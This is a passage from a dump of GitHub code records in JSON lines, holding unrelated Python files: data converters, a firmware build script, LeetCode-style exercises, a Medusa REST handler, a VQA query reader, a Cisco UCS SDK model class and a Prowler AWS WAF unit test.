FFMFormatPandas()\n            ffm_train_data = ffm_train.fit_transform(data, y='is_attributed')\n            logger.info('converted data: %s', ffm_train_data)\n\n            ffm_train_data.to_csv(args['tr_dst_path'], index=False)\n\n        with timer('load val:'):\n            data = pd.read_csv(args['va_src_path'], dtype=dtypes, header=0, engine='c')  # .sample(1000)\n        with timer('convert val:'):\n            ffm_train = FFMFormatPandas()\n            ffm_train_data = ffm_train.fit_transform(data, y='is_attributed')\n            logger.info('converted data: %s', ffm_train_data)\n\n            ffm_train_data.to_csv(args['va_dst_path'], index=False)\n    else:\n        batchsize = 100*10000\n        totalsize = 0\n        with open(args['tr_dst_path'], 'w') as fh:\n            for data in pd.read_csv(args['tr_src_path'], dtype=dtypes, header=0, chunksize = batchsize):  # .sample(1000)\n                print('dumping pos:', totalsize)\n                totalsize += batchsize\n                with timer('convert train:'):\n                    str_array = convert_features_to_text(data, data.columns, True)\n                    np.savetxt(fh, str_array, '%s')\n        totalsize = 0\n        with open(args['va_dst_path'], 'w') as fh:\n            for data in pd.read_csv(args['va_src_path'], dtype=dtypes, header=0, chunksize = batchsize):  # .sample(1000)\n                print('dumping pos:', totalsize)\n                totalsize += batchsize\n                with timer('convert val:'):\n                    str_array = convert_features_to_text(data, data.columns, True)\n                    np.savetxt(fh, str_array, '%s')","repo_name":"lyogavin/testtest","sub_path":"ffm_converter.py","file_name":"ffm_converter.py","file_ext":"py","file_size_in_byte":9713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7014460629","text":"Import(\"env\")\n\nenv.Append(\n    LINT_SOURCES=[\n        Dir(\".\"),\n    ]\n)\n\n\nlibenv = env.Clone(FW_LIB_NAME=\"furi\")\nlibenv.ApplyLibFlags()\n\nsources = libenv.GlobRecursive(\"*.c\")\n\nlib = libenv.StaticLibrary(\"${FW_LIB_NAME}\", sources)\nlibenv.Install(\"${LIB_DIST_DIR}\", lib)\nReturn(\"lib\")\n","repo_name":"DarkFlippers/unleashed-firmware","sub_path":"furi/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":12119,"dataset":"github-code","pt":"22"}
+{"seq_id":"33402238727","text":"class MyStack:\n\n    def __init__(self):\n        self.q1 = deque()\n        self.q2 = deque()\n        \n\n    def push(self, x: int) -> None:\n        self.q1.append(x)\n        \n\n    def pop(self) -> int:\n        if not self.empty():\n            val = 0\n            while len(self.q1) != 1:\n                val = self.q1.popleft()\n                self.q2.append(val)\n            \n            res = self.q1.popleft()\n            while self.q2:\n                self.q1.append(self.q2.popleft())\n            \n            return res\n        \n        return -1\n\n    def top(self) -> int:\n        if not self.empty():\n            val = 0\n            while len(self.q1) != 0:\n                val = self.q1.popleft()\n                self.q2.append(val)\n            \n            res = val\n            while self.q2:\n                self.q1.append(self.q2.popleft())\n            \n            return res\n        return -1\n    def empty(self) -> bool:\n        return len(self.q1) == 0\n\n\n# Your MyStack object will be instantiated and called as such:\n# obj = MyStack()\n# obj.push(x)\n# param_2 = obj.pop()\n# param_3 = obj.top()\n# param_4 = obj.empty()","repo_name":"tannerr12/Data-Structures-and-Algorithms","sub_path":"0225-implement-stack-using-queues/0225-implement-stack-using-queues.py","file_name":"0225-implement-stack-using-queues.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"17546442611","text":"# coding=utf-8\n\"\"\"Request handler for alias (scene exceptions).\"\"\"\nfrom __future__ import unicode_literals\n\nfrom medusa import db\nfrom medusa.server.api.v2.base import BaseRequestHandler\nfrom medusa.tv.series import SeriesIdentifier\n\nfrom tornado.escape import json_decode\n\n\nclass AliasHandler(BaseRequestHandler):\n    \"\"\"Alias request handler.\"\"\"\n\n    #: resource name\n    name = 'alias'\n    #: identifier\n    identifier = ('identifier', r'\\d+')\n    #: path param\n    path_param = ('path_param', r'\\w+')\n    #: allowed HTTP methods\n    allowed_methods = ('GET', 'POST', 'PUT', 'DELETE')\n\n    def get(self, identifier, path_param):\n        \"\"\"Query scene_exception information.\"\"\"\n        main_db_con = db.DBConnection()\n        sql_base = ('SELECT '\n                    '  exception_id, '\n                    '  indexer, '\n                    '  series_id, '\n                    '  title, '\n                    '  season, '\n                    '  custom '\n                    'FROM scene_exceptions ')\n        sql_where = []\n        params = []\n\n        if identifier is not None:\n            sql_where.append('exception_id')\n            params += [identifier]\n        else:\n            series_slug = self.get_query_argument('series', None)\n            series_identifier = SeriesIdentifier.from_slug(series_slug)\n\n            if series_slug and not series_identifier:\n                return self._bad_request('Invalid series')\n\n            season = self._parse(self.get_query_argument('season', None))\n            exception_type = self.get_query_argument('type', None)\n            episode_search_template = self.get_query_argument('episodetemplate', None)\n            season_search_template = self.get_query_argument('episodetemplate', None)\n\n            if exception_type and exception_type not in ('local', ):\n                return self._bad_request('Invalid type')\n\n            if series_identifier:\n                sql_where.append('indexer')\n                sql_where.append('series_id')\n                params += [series_identifier.indexer.id, series_identifier.id]\n\n            if season is not None:\n                sql_where.append('season')\n                params += [season]\n\n            if exception_type == 'local':\n                sql_where.append('custom')\n                params += [1]\n\n            if episode_search_template is not None:\n                sql_where.append('episode_search_template')\n                params += [episode_search_template]\n\n            if season_search_template is not None:\n                sql_where.append('season_search_template')\n                params += [season_search_template]\n\n        if sql_where:\n            sql_base += ' WHERE ' + ' AND '.join([where + ' = ? ' for where in sql_where])\n\n        sql_results = main_db_con.select(sql_base, params)\n\n        data = []\n        for item in sql_results:\n            d = {}\n            d['id'] = item['exception_id']\n            d['series'] = SeriesIdentifier.from_id(item['indexer'], item['series_id']).slug\n            d['name'] = item['title']\n            d['season'] = item['season'] if item['season'] >= 0 else None\n            d['type'] = 'local' if item['custom'] else None\n            data.append(d)\n\n        if not identifier:\n            return self._paginate(data, sort='id')\n\n        if not data:\n            return self._not_found('Alias not found')\n\n        data = data[0]\n        if path_param:\n            if path_param not in data:\n                return self._bad_request('Invalid path parameter')\n            data = data[path_param]\n\n        return self._ok(data=data)\n\n    def put(self, identifier, **kwargs):\n        \"\"\"Update alias information.\"\"\"\n        identifier = self._parse(identifier)\n        if not identifier:\n            return self._not_found('Invalid alias id')\n\n        data = json_decode(self.request.body)\n\n        if not data or not all([data.get('id'), data.get('series'), data.get('name'),\n                                data.get('type')]) or data['id'] != identifier:\n            return self._bad_request('Invalid request body')\n\n        series_identifier = SeriesIdentifier.from_slug(data.get('series'))\n        if not series_identifier:\n            return self._bad_request('Invalid series')\n\n        main_db_con = db.DBConnection()\n        last_changes = main_db_con.connection.total_changes\n        main_db_con.action('UPDATE scene_exceptions'\n                           ' set indexer = ?'\n                           ', series_id = ?'\n                           ', title = ?'\n                           ', season = ?'\n                           ', custom = 1'\n                           ' WHERE exception_id = ?',\n                           [series_identifier.indexer.id,\n                            series_identifier.id,\n                            data['name'],\n                            data.get('season'),\n                            identifier])\n\n        if main_db_con.connection.total_changes - last_changes != 1:\n            return self._not_found('Alias not found')\n\n        return self._no_content()\n\n    def post(self, identifier, **kwargs):\n        \"\"\"Add an alias.\"\"\"\n        if identifier is not None:\n            return self._bad_request('Alias id should not be specified')\n\n        data = json_decode(self.request.body)\n\n        if not data or not all([data.get('series'), data.get('name'),\n                                data.get('type')]) or 'id' in data or data['type'] != 'local':\n            return self._bad_request('Invalid request body')\n\n        series_identifier = SeriesIdentifier.from_slug(data.get('series'))\n        if not series_identifier:\n            return self._bad_request('Invalid series')\n\n        main_db_con = db.DBConnection()\n        last_changes = main_db_con.connection.total_changes\n        cursor = main_db_con.action('INSERT INTO scene_exceptions'\n                                    ' (indexer, series_id, title, season, custom) '\n                                    ' values (?,?,?,?,1)',\n                                    [series_identifier.indexer.id,\n                                     series_identifier.id,\n                                     data['name'],\n                                     data.get('season', -1)])\n\n        if main_db_con.connection.total_changes - last_changes <= 0:\n            return self._conflict('Unable to create alias')\n\n        data['id'] = cursor.lastrowid\n        return self._created(data=data, identifier=data['id'])\n\n    def delete(self, identifier, **kwargs):\n        \"\"\"Delete an alias.\"\"\"\n        identifier = self._parse(identifier)\n        if not identifier:\n            return self._bad_request('Invalid alias id')\n\n        main_db_con = db.DBConnection()\n        last_changes = main_db_con.connection.total_changes\n        main_db_con.action('DELETE FROM scene_exceptions WHERE exception_id = ?', [identifier])\n        if main_db_con.connection.total_changes - last_changes <= 0:\n            return self._not_found('Alias not found')\n\n        return self._no_content()\n","repo_name":"pymedusa/Medusa","sub_path":"medusa/server/api/v2/alias.py","file_name":"alias.py","file_ext":"py","file_size_in_byte":7021,"program_lang":"python","lang":"en","doc_type":"code","stars":1665,"dataset":"github-code","pt":"22"}
+{"seq_id":"7884202102","text":"from onnxruntime import (\n    GraphOptimizationLevel,\n    InferenceSession,\n    SessionOptions,\n)\n\nfrom scipy.special import softmax\nfrom transformers import AutoConfig\nimport numpy as np\n\npipeline_path = \"./trained_models/pipe\"\nmodel_config = AutoConfig.from_pretrained(pipeline_path)\n\n\ndef create_model_for_provider(model_path, provider=\"CPUExecutionProvider\"):\n    options = SessionOptions()\n    options.intra_op_num_threads = 1\n    options.graph_optimization_level = GraphOptimizationLevel.ORT_ENABLE_ALL\n    session = InferenceSession(str(model_path), options, providers=[provider])\n    session.disable_fallback()\n    return session\n\n\nclass OnnxPipeline:\n\n    \"\"\"We are replicating the huggingface piplines since onnx models are not compatible with huggingface pipline class.\"\"\"\n\n    def __init__(self, model, tokenizer):\n        self.model = model\n        self.tokenizer = tokenizer\n\n    def __call__(self, query):\n        model_inputs = self.tokenizer(query, return_tensors=\"pt\")\n        inputs_onnx = {\n            k: v.cpu().detach().numpy() for k, v in model_inputs.items()\n        }\n        logits = self.model.run(None, inputs_onnx)[0][0, :]\n        probs = softmax(logits)\n        pred_idx = np.argmax(probs).item()\n        return [\n            {\n                \"predcition\": model_config.id2label[pred_idx],\n                \"score\": str(probs[pred_idx]),\n            }\n        ]\n","repo_name":"karthikbappudi/EmotionClassification","sub_path":"onnx_model.py","file_name":"onnx_model.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31772755085","text":"from __future__ import absolute_import, division, print_function\n\nimport os\nimport sys\nimport threading\nimport queue\nimport numpy as np\nimport subprocess\nimport re\n\n#load CNN module when running on Python2\nif not sys.version_info > (3, 3):\n    from exp_vqa.data.cnn import *\n\n\nfrom util import text_processing\n\n\n\nlayer_set = {\n    'res4b22_branch2b_train2014' : {'layers'      : 'res4b22_branch2b',\n                          'layer_size'  : [256,14,14],\n                          'images_path' : '/home/ouflorez/workspace/VQA2015/mscoco/visual_data/images/train2014/',\n                          'feat_path'   : '/home/ouflorez/workspace/n2nmn/exp_vqa/data/resnet_res5c/train2014/'},\n    'res4b22_branch2b_val2014': {'layers': 'res4b22_branch2b',\n                               'layer_size': [256, 14, 14],\n                               'images_path': '/home/ouflorez/workspace/VQA2015/mscoco/visual_data/images/val2014/',\n                               'feat_path': '/home/ouflorez/workspace/n2nmn/exp_vqa/data/resnet_res5c/val2014/'},\n    'res4b22_branch2b_test2015': {'layers': 'res4b22_branch2b',\n                                 'layer_size': [256, 14, 14],\n                                 'images_path': '/home/ouflorez/workspace/VQA2015/mscoco/visual_data/images/test2015/',\n                                 'feat_path': '/home/ouflorez/workspace/n2nmn/exp_vqa/data/resnet_res5c/test2015/'},\n    'res4b22_branch2b_demo': {'layers': 'res4b22_branch2b',\n                                'layer_size': [256, 14, 14],\n                                'images_path': '/home/ouflorez/workspace/VQA2015/demo/visual_data/images/',\n                                'feat_path': '/home/ouflorez/workspace/VQA2015/demo/visual_data/features/',\n                                'output_path': '/home/ouflorez/workspace/VQA2015/demo/visual_data/output/',\n                                'target_height': 224,\n                                'target_width': 224}\n}\n\nclass QueryReader:\n    def __init__(self, **kwargs):\n        print('Creating query')\n        self.batch_size = kwargs['batch_size']\n        self.T_encoder = kwargs['T_encoder']\n        self.T_decoder = kwargs['T_decoder']\n        self.assembler = kwargs['assembler']\n        self.vocab_question_file = kwargs['vocab_question_file']\n        self.vocab_answer_file = kwargs['vocab_answer_file']\n        self.vocab_dict = text_processing.VocabDict(self.vocab_question_file)\n        self.answer_dict = text_processing.VocabDict(self.vocab_answer_file)\n\n    def extract_cnn_features(self, network_dic, image_paths):\n        PROJECT_HOME = '/home/ouflorez/workspace/VQA2015'  # /home/ouflorez/workspace/VQA2015\n        res_model = os.path.join(PROJECT_HOME, 'models/resnet/ResNet-101-model.caffemodel')\n        res_deploy = os.path.join(PROJECT_HOME, 'models/resnet/ResNet-101-deploy.prototxt')\n\n        cnn = CNN(model=res_model, deploy=res_deploy, width=network_dic['target_width'],\n                  height=network_dic['target_height'], batch_size=1)\n\n        layers = network_dic['layers']\n        layer_size = network_dic['layer_size']\n        feat_path = network_dic['feat_path']\n\n        if not os.path.exists(network_dic['feat_path']):\n            os.makedirs(network_dic['feat_path'])\n\n        print('...Start CNN encoding')\n        #feats: (1, 256, 14, 14)\n        feats = cnn.get_features(image_paths,\n                                 layers=layers,\n                                 layer_sizes=layer_size)\n        assert len(feats) == len(image_paths), \"Different number of files and features\"\n\n        print(\"Number of observations: \", len(feats))\n        for i in range(len(feats)):\n            file_name = os.path.basename(image_paths[i]).split('.')[0]\n            feat = feats[i]\n            np.save(os.path.join(feat_path, file_name + '.npy'), feat)\n        print(\"Extract CNN embedding\")\n        return feats\n\n\n    def build_query_batch(self, question, image_path, network_dic=layer_set['res4b22_branch2b_test2015']):\n        #image encoding\n        image_paths = [image_path]\n        actual_batch_size=len(image_paths)\n\n        # python2\n        if not sys.version_info > (3, 3):\n            feats = self.extract_cnn_features(network_dic, image_paths)\n        else:\n            input_file = image_path\n            output_file = './exp_vqa/data/tmp.npy'\n            os.makedirs(os.path.split(output_file)[0], exist_ok=True)\n            command = \"python2 exp_vqa/data/cnn.py %s %s\" %(input_file, output_file)\n            return_code = subprocess.call(command, shell=True)\n            feats = np.load(output_file)\n\n        self.feat_D, self.feat_H, self.feat_W = feats.shape[1:]\n\n        input_seq_batch = np.zeros((self.T_encoder, actual_batch_size), np.int32)\n        seq_length_batch = np.zeros(actual_batch_size, np.int32)\n        image_feat_batch = np.zeros((actual_batch_size, self.feat_H, self.feat_W, self.feat_D), np.float32)\n        image_path_list = [None] * actual_batch_size\n        qstr_list = [None] * actual_batch_size\n\n        #tokenize question:\n        SENTENCE_SPLIT_REGEX = re.compile(r'(\\W+)')\n        question_tokens = SENTENCE_SPLIT_REGEX.split(question.lower())\n        question_tokens = [t.strip() for t in question_tokens if len(t.strip()) > 0]\n\n        #build batch\n        n=0\n        question_inds = [self.vocab_dict.word2idx(w) for w in question_tokens]\n        seq_length = len(question_inds)\n        input_seq_batch[:seq_length, n] = question_inds\n        seq_length_batch[n] = seq_length\n\n        image_feat_batch[n:n + 1] = feats[0].transpose([1,2, 0])\n        batch = dict(input_seq_batch = input_seq_batch,\n                     seq_length_batch = seq_length_batch,\n                     image_feat_batch = image_feat_batch,\n                     image_path_list = image_path_list,\n                     qid_list = -1, qstr_list=-1)\n        return batch\n\nif __name__ == '__main__':\n    assembler = None\n    # Data files\n    # ['_Scene', '_Find', '_Filter', '_FindSameProperty', '_Transform', '_And', '_Or', '_Exist', '_Count', '_EqualNum',\n    # '_MoreNum', '_LessNum', '_SameProperty', '_Describe', '<eos>']\n    vocab_layout_file = './exp_vqa/data/vocabulary_layout.txt'\n    vocab_answer_file = './exp_vqa/data/answers_vqa.txt'\n    vocab_question_file = './exp_vqa/data/vocabulary_vqa.txt'\n\n    query_reader = QueryReader(batch_size=1, T_encoder=30, T_decoder=3, assembler=assembler,\n                               vocab_question_file=vocab_question_file, vocab_answer_file=vocab_answer_file)\n\n    question = 'How many people are in the picture?'\n    image_path = '/home/ouflorez/workspace/VQA2015/demo/visual_data/images/COCO_train2014_000000005619.jpg'\n    network_dic=layer_set['res4b22_branch2b_demo']\n    batch = query_reader.build_query_batch(question, image_path, network_dic=network_dic)\n","repo_name":"omar-florez/VQA-ModuleNetworks","sub_path":"util/vqa_train/query_reader.py","file_name":"query_reader.py","file_ext":"py","file_size_in_byte":6796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"41417868619","text":"class Solution:\n    def subtractProductAndSum(self, n):\n        s = str(n)\n        m = 1\n        for x in range(len(s)):\n            m *= int(s[x])\n        print(m)\n        p = 0\n        for y in range(len(s)):\n            p += int(s[y])\n        print(p)\n        return m-p\nsolution = Solution()\nt = 2345\nprint(solution.subtractProductAndSum(t))","repo_name":"nicefuu/leetCode-python3","sub_path":"1281.py","file_name":"1281.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"4912798604","text":"'''\r\nیک fullname از کاربر بگیرد و اسم و فامیل را در دو خط جداگانه چاپ کند.\r\n'''\r\n\r\nfullname =input('Enter your fullname: \\n')\r\n\r\n       \r\nfor ch in fullname:\r\n    \r\n        if ch==' ':\r\n            print()\r\n            continue\r\n        \r\n        else:\r\n            print(ch,end='')\r\n\r\n\r\n        ","repo_name":"imkamali/pyclass","sub_path":"sh6_3.py","file_name":"sh6_3.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43054426870","text":"\"\"\"This module contains the general information for StorageLunResourceSelectionLog ManagedObject.\"\"\"\n\nfrom ...ucsmo import ManagedObject\nfrom ...ucscoremeta import MoPropertyMeta, MoMeta\nfrom ...ucsmeta import VersionMeta\n\n\nclass StorageLunResourceSelectionLogConsts:\n    DECISION_TYPE_AFFINITY = \"affinity\"\n    DECISION_TYPE_DEDICATED_HOT_SPARE = \"dedicated-hot-spare\"\n    DECISION_TYPE_GLOBAL_HOT_SPARE = \"global-hot-spare\"\n    DECISION_TYPE_NORMAL_DISK = \"normal-disk\"\n    DECISION_TYPE_SELECT_LUN = \"select-lun\"\n    DECISION_TYPE_SHARE_DISK_GROUP = \"share-disk-group\"\n    DECISION_TYPE_UNSPECIFIED = \"unspecified\"\n    DECISION_TYPE_USE_REMAINING_DISK = \"use-remaining-disk\"\n    DECISION_TYPE_USE_REMAINING_SPACE = \"use-remaining-space\"\n    DECISION_TYPE_VERIFY_CONTROLLER_CONFIG = \"verify-controller-config\"\n    DECISION_TYPE_VERIFY_DISK_CONFIG = \"verify-disk-config\"\n    DECISION_TYPE_VERIFY_DISKGROUP_CONFIG = \"verify-diskgroup-config\"\n    DECISION_TYPE_VERIFY_LUN_CONFIG = \"verify-lun-config\"\n    DECISION_TYPE_VERIFY_RAID_CONFIG = \"verify-raid-config\"\n    DECISION_TYPE_VERIFY_RESOURCES = \"verify-resources\"\n    DECISION_TYPE_VERIFY_STRIP_SIZE_CONFIG = \"verify-strip-size-config\"\n    DECISION_TYPE_VERIFY_VIRTUAL_DRIVE_CONFIG = \"verify-virtual-drive-config\"\n    RESULT_DATA_LOSS = \"data-loss\"\n    RESULT_FAILED = \"failed\"\n    RESULT_SUCCEEDED = \"succeeded\"\n    RESULT_UNSPECIFIED = \"unspecified\"\n\n\nclass StorageLunResourceSelectionLog(ManagedObject):\n    \"\"\"This is StorageLunResourceSelectionLog class.\"\"\"\n\n    consts = StorageLunResourceSelectionLogConsts()\n    naming_props = set(['order'])\n\n    mo_meta = MoMeta(\"StorageLunResourceSelectionLog\", \"storageLunResourceSelectionLog\", \"selection-log-[order]\", VersionMeta.Version224b, \"InputOutput\", 0x3f, [], [\"admin\", \"ls-compute\", \"ls-config\", \"ls-server\", \"ls-storage\"], ['storageVirtualDriveRef'], [], [None])\n\n    prop_meta = {\n        \"child_action\": MoPropertyMeta(\"child_action\", \"childAction\", \"string\", VersionMeta.Version224b, MoPropertyMeta.INTERNAL, 0x2, None, None, r\"\"\"((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}\"\"\", [], []),\n        \"decision_type\": MoPropertyMeta(\"decision_type\", \"decisionType\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_ONLY, None, None, None, None, [\"affinity\", \"dedicated-hot-spare\", \"global-hot-spare\", \"normal-disk\", \"select-lun\", \"share-disk-group\", \"unspecified\", \"use-remaining-disk\", \"use-remaining-space\", \"verify-controller-config\", \"verify-disk-config\", \"verify-diskgroup-config\", \"verify-lun-config\", \"verify-raid-config\", \"verify-resources\", \"verify-strip-size-config\", \"verify-virtual-drive-config\"], []),\n        \"descr\": MoPropertyMeta(\"descr\", \"descr\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_ONLY, None, 0, 510, None, [], []),\n        \"dn\": MoPropertyMeta(\"dn\", \"dn\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_ONLY, 0x4, 0, 256, None, [], []),\n        \"order\": MoPropertyMeta(\"order\", \"order\", \"ushort\", VersionMeta.Version224b, MoPropertyMeta.NAMING, 0x8, None, None, None, [], []),\n        \"result\": MoPropertyMeta(\"result\", \"result\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_ONLY, None, None, None, None, [\"data-loss\", \"failed\", \"succeeded\", \"unspecified\"], []),\n        \"rn\": MoPropertyMeta(\"rn\", \"rn\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []),\n        \"sacl\": MoPropertyMeta(\"sacl\", \"sacl\", \"string\", VersionMeta.Version302c, MoPropertyMeta.READ_ONLY, None, None, None, r\"\"\"((none|del|mod|addchild|cascade),){0,4}(none|del|mod|addchild|cascade){0,1}\"\"\", [], []),\n        \"status\": MoPropertyMeta(\"status\", \"status\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_WRITE, 0x20, None, None, r\"\"\"((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}\"\"\", [], []),\n        \"time_stamp\": MoPropertyMeta(\"time_stamp\", \"timeStamp\", \"string\", VersionMeta.Version224b, MoPropertyMeta.READ_ONLY, None, None, None, r\"\"\"([0-9]){4}-([0-9]){2}-([0-9]){2}T([0-9]){2}:([0-9]){2}:([0-9]){2}((\\.([0-9]){3})){0,1}\"\"\", [], []),\n    }\n\n    prop_map = {\n        \"childAction\": \"child_action\", \n        \"decisionType\": \"decision_type\", \n        \"descr\": \"descr\", \n        \"dn\": \"dn\", \n        \"order\": \"order\", \n        \"result\": \"result\", \n        \"rn\": \"rn\", \n        \"sacl\": \"sacl\", \n        \"status\": \"status\", \n        \"timeStamp\": \"time_stamp\", \n    }\n\n    def __init__(self, parent_mo_or_dn, order, **kwargs):\n        self._dirty_mask = 0\n        self.order = order\n        self.child_action = None\n        self.decision_type = None\n        self.descr = None\n        self.result = None\n        self.sacl = None\n        self.status = None\n        self.time_stamp = None\n\n        ManagedObject.__init__(self, \"StorageLunResourceSelectionLog\", parent_mo_or_dn, **kwargs)\n","repo_name":"CiscoUcs/ucsmsdk","sub_path":"ucsmsdk/mometa/storage/StorageLunResourceSelectionLog.py","file_name":"StorageLunResourceSelectionLog.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"22"}
+{"seq_id":"8396867603","text":"import copy\nimport queue\n\ndef take_input():\n    \"\"\"Accepts the size of the chess board\"\"\"\n    while True:\n        try:\n            size = int(input('What is the size of the chessboard? n = \\n'))\n            if size == 1:\n                print(\"Trivial solution, choose a board size of at least 4\")\n            if size <= 3:\n                print(\"Enter a value such that size>=4\")\n                continue\n            return size\n        except ValueError:\n            print(\"Invalid value entered. Enter again\")\n\ndef get_board(size):\n    \"\"\"Returns an n by n board that filled zeros\"\"\"\n    #Return n size row.\n    board = []\n    #Duplicate rows by size.\n    for ix in range(size):\n        board.append([0]*size)\n    return board\n\ndef print_solutions(solutions, size):\n    #print(solutions.qsize())\n    \"\"\"Prints all the solutions in user friendly way\"\"\"\n    while not solutions.empty():\n        printer = solutions.get()\n        for i in printer:\n            print(i)\n        print()\n\ndef deploy(board, row, size):\n    global boards\n\n    if row == size:\n        return\n\n    if row == 0:\n        for i in range(size):\n            pushtarget = copy.deepcopy(board)\n            pushtarget[0][i] = 1\n            boards.put(pushtarget)\n        deploy(board, row + 1, size)\n    else:\n        tmpque = queue.Queue()\n        while not boards.empty():\n            temp = boards.get()\n            for k in range(size):\n                test = copy.deepcopy(temp)\n                test[row][k] = 1\n                if safe(test, row, k):\n                    tmpque.put(test)\n        boards = tmpque\n        deploy(board, row + 1, size)\n\n\ndef safe(target, row, col):\n    for j in range(row + 1):\n        if j == row:\n            continue\n        if target[j][col] == 1:\n            return False\n\n    ix, iy = row, col\n    while ix >= 0 and iy >= 0:\n        if ix == row and iy == col:\n            ix -= 1\n            iy -= 1\n            continue\n        #Check the diagonal line\n        if target[ix][iy] == 1:\n            return False\n        #Move to up and left side.\n        ix -= 1\n        iy -= 1\n\n    ix, iy = row, col\n    while ix >= 0 and iy < size:\n        if ix == row and iy == col:\n            ix -= 1\n            iy += 1\n            continue\n        #Check the diagonal line\n        if target[ix][iy] == 1:\n            return False\n        #Move to up and right side.\n        ix -= 1\n        iy += 1\n\n    #If not False, return True. (Solution found)\n    return True\n\nif __name__ == \"__main__\":\n\n    size = take_input()\n    board = get_board(size)\n    boards = queue.Queue()\n    deploy(board, 0, size)\n    sols = boards.qsize()\n    print_solutions(boards, size)\n    print(\"Total solutions = {}\".format(sols))","repo_name":"nicotina04/prior_to_2018","sub_path":"python/nqueen_bfs.py","file_name":"nqueen_bfs.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17533605931","text":"from unittest.mock import patch\n\nimport botocore\nfrom boto3 import session\n\nfrom prowler.providers.aws.lib.audit_info.models import AWS_Audit_Info\nfrom prowler.providers.aws.services.waf.waf_service import WAF\nfrom prowler.providers.common.models import Audit_Metadata\n\nAWS_ACCOUNT_NUMBER = \"123456789012\"\nAWS_REGION = \"us-east-1\"\n\n# Mocking WAF-Regional Calls\nmake_api_call = botocore.client.BaseClient._make_api_call\n\n\ndef mock_make_api_call(self, operation_name, kwarg):\n    \"\"\"We have to mock every AWS API call using Boto3\"\"\"\n    if operation_name == \"ListWebACLs\":\n        return {\n            \"WebACLs\": [\n                {\"WebACLId\": \"my-web-acl-id\", \"Name\": \"my-web-acl\"},\n            ]\n        }\n    if operation_name == \"ListResourcesForWebACL\":\n        return {\n            \"ResourceArns\": [\n                \"alb-arn\",\n            ]\n        }\n\n    return make_api_call(self, operation_name, kwarg)\n\n\n# Mock generate_regional_clients()\ndef mock_generate_regional_clients(service, audit_info, _):\n    regional_client = audit_info.audit_session.client(service, region_name=AWS_REGION)\n    regional_client.region = AWS_REGION\n    return {AWS_REGION: regional_client}\n\n\n# Patch every AWS call using Boto3 and generate_regional_clients to have 1 client\n@patch(\"botocore.client.BaseClient._make_api_call\", new=mock_make_api_call)\n@patch(\n    \"prowler.providers.aws.lib.service.service.generate_regional_clients\",\n    new=mock_generate_regional_clients,\n)\nclass Test_WAF_Service:\n    # Mocked Audit Info\n    def set_mocked_audit_info(self):\n        audit_info = AWS_Audit_Info(\n            session_config=None,\n            original_session=None,\n            audit_session=session.Session(\n                profile_name=None,\n                botocore_session=None,\n            ),\n            audited_account=AWS_ACCOUNT_NUMBER,\n            audited_account_arn=f\"arn:aws:iam::{AWS_ACCOUNT_NUMBER}:root\",\n            audited_user_id=None,\n            audited_partition=\"aws\",\n            audited_identity_arn=None,\n            profile=None,\n            profile_region=None,\n            credentials=None,\n            assumed_role_info=None,\n            audited_regions=None,\n            organizations_metadata=None,\n            audit_resources=None,\n            mfa_enabled=False,\n            audit_metadata=Audit_Metadata(\n                services_scanned=0,\n                expected_checks=[],\n                completed_checks=0,\n                audit_progress=0,\n            ),\n        )\n        return audit_info\n\n    # Test WAF Service\n    def test_service(self):\n        # WAF client for this test class\n        audit_info = self.set_mocked_audit_info()\n        waf = WAF(audit_info)\n        assert waf.service == \"waf-regional\"\n\n    # Test WAF Client\n    def test_client(self):\n        # WAF client for this test class\n        audit_info = self.set_mocked_audit_info()\n        waf = WAF(audit_info)\n        for regional_client in waf.regional_clients.values():\n            assert regional_client.__class__.__name__ == \"WAFRegional\"\n\n    # Test WAF Session\n    def test__get_session__(self):\n        # WAF client for this test class\n        audit_info = self.set_mocked_audit_info()\n        waf = WAF(audit_info)\n        assert waf.session.__class__.__name__ == \"Session\"\n\n    # Test WAF Describe Web ACLs\n    def test__list_web_acls__(self):\n        # WAF client for this test class\n        audit_info = self.set_mocked_audit_info()\n        waf = WAF(audit_info)\n        assert len(waf.web_acls) == 1\n        assert waf.web_acls[0].name == \"my-web-acl\"\n        assert waf.web_acls[0].region == AWS_REGION\n        assert waf.web_acls[0].id == \"my-web-acl-id\"\n\n    # Test WAF Describe Web ACLs Resources\n    def test__list_resources_for_web_acl__(self):\n        # WAF client for this test class\n        audit_info = self.set_mocked_audit_info()\n        waf = WAF(audit_info)\n        assert len(waf.web_acls) == 1\n        assert len(waf.web_acls[0].albs) == 1\n        assert \"alb-arn\" in waf.web_acls[0].albs\n","repo_name":"prowler-cloud/prowler","sub_path":"tests/providers/aws/services/waf/waf_service_test.py","file_name":"waf_service_test.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","stars":8822,"dataset":"github-code","pt":"22"}
